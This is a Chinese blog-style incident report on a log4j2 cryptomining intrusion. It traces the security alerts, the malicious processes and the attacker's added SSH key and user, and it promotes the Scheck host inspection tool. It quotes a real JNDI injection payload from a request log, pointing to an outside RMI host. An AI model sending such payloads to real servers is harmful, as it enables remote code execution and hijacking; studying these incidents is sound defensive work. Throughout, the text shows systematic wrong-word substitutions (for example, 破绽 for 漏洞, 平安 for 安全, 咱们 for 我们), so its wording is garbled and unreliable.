共计 1549 个字符,预计需要花费 4 分钟才能阅读完成。
简介
2021 年底,技术圈被 log4j2 破绽掀起巨浪,各大平安公司纷纷发文介绍该破绽的危害,并给出了各种长期解决方案。还有一些博主也发表文章教咱们如何找到易受攻击的中央,并采取相应的进攻措施。还有大量帖子跟着起哄,探讨如何采纳一些不必要的进攻技术。12 月 29 日,咱们就发现了一起由 log4j2 破绽引发的挖矿事件。
惊险时刻
收到平安告警事件还是要从一条告警说起。12 月 29 日 18:59,公司钉钉平安告警信息, 亲!df_solution_ecs_002 存在 2 个 warn。因为 warn 级别的告警不是很重大,所以过后咱们没有太在意。
收到服务器 CPU 99% 告警 19:34:00 收到平安告警 30 分钟后,钉钉群内忽然收到 CPU 飙升的告警。告警来的猝不及防,零碎运行很长时间,怎么突发产生这种情况。
发现可疑过程于是,咱们连忙登录咱们的观测平台查看服务器根底信息。cpu 使用率太高了吧!同时咱们发现过程监控中有 5 个歹意过程 CPU 使用率为 100%。此刻咱们才发现,我主机应该被挖矿了。马上告诉相干共事进行解决,将歹意过程敞开。
追踪溯源歹意过程解决实现后,心中一阵后怕,老大也下达了要查明事变起因的命令。此刻我一阵头大,我怎么查病毒入口?忽然,脑中灵光一闪想到了刚刚平安告警。于是关上了平安巡检的页面,果然病毒注入留下了蛛丝马迹被 Scheck 巡检工具捕捉到。在 12/29 18:52 的时候产生 5 个以上的 warn 平安告警事件,首先 18:52 病毒增加了免密登录,18:57 增加了一个用户,之后有增加了二进制文件等等。
晓得了入侵工夫,我打算在 18:40~18:53 之间查看一些冲破,观测云能够依据过后工夫查看过后服务器的状态,指标,还有日志。
终于在 18:54 左右的时候发现了这条日志,2021-12-29 18:50:23.906+0000 [id=66628] request param ${jndi:rmi://67.220.90.132:30023/test}0 ms。这不是那个最近这火的 log4j 2 的破绽么!!!67.220.90.132 地址还是美国加利福尼亚洛杉矶的。
最初,综合这些线索,我画了个工夫图,发现黑客进行攻打的时候,咱们 Scheck 就曾经将歹意行为上报到了观测平台并进行告警。在那时,只是咱们没有及时关注,还好我能够通过对立观测平台,进行剖析和观测发现了源头。
强烈推荐
经验了此次事件,要感激观测云的平安巡检工具 Scheck,让我度过这次难关。服务器被入侵不可怕,可怕的不晓得你是如何和入侵,黑客对主机做了哪些歹意操作,Scheck 能够实时监控主机安全事件。此软件安全可靠,反对二次开发,开源。是一款在运行用户本地机器上的一种平安巡检工具。
咱们为什么举荐应用 Scheck
1、平安
Scheck 是款开源软件,你能够放心使用。开源地址:https://github.com/GuanceClou… 中的 Lua 不能引入第三方库,间接的文件 IO 也是被禁止的,只能通过 Golang 封装的 Lua 接口能力对文件进行读取
2、高度一致的跨平台可用性
在支流的 Linux、Windows 上均可间接应用无需思考平台兼容性数据可观测性 Scheck 的巡检后果,能够间接导入观测云,也能够导入阿里云 SLS 日志
3、可扩展性
用户能够自定义新的巡检脚本,通过二次开发入口 即可不便的开发出新巡检脚本。Scheck 的作用到底是什么 Scheck 作为一款运行用户本地机器上的一种平安巡检工具,他不做平安防护,但他们能够提前感知你的操作是否平安,主机被入侵时,黑客的歹意行为都会被 Scheck 上报。你能够本人剖析和观测,目前没有相对平安的软件来保障你主机平安,然而 Scheck 能够保障黑客或其余的不平安的操作都会被记录和上报。
这就是咱们强烈推荐 Scheck 起因!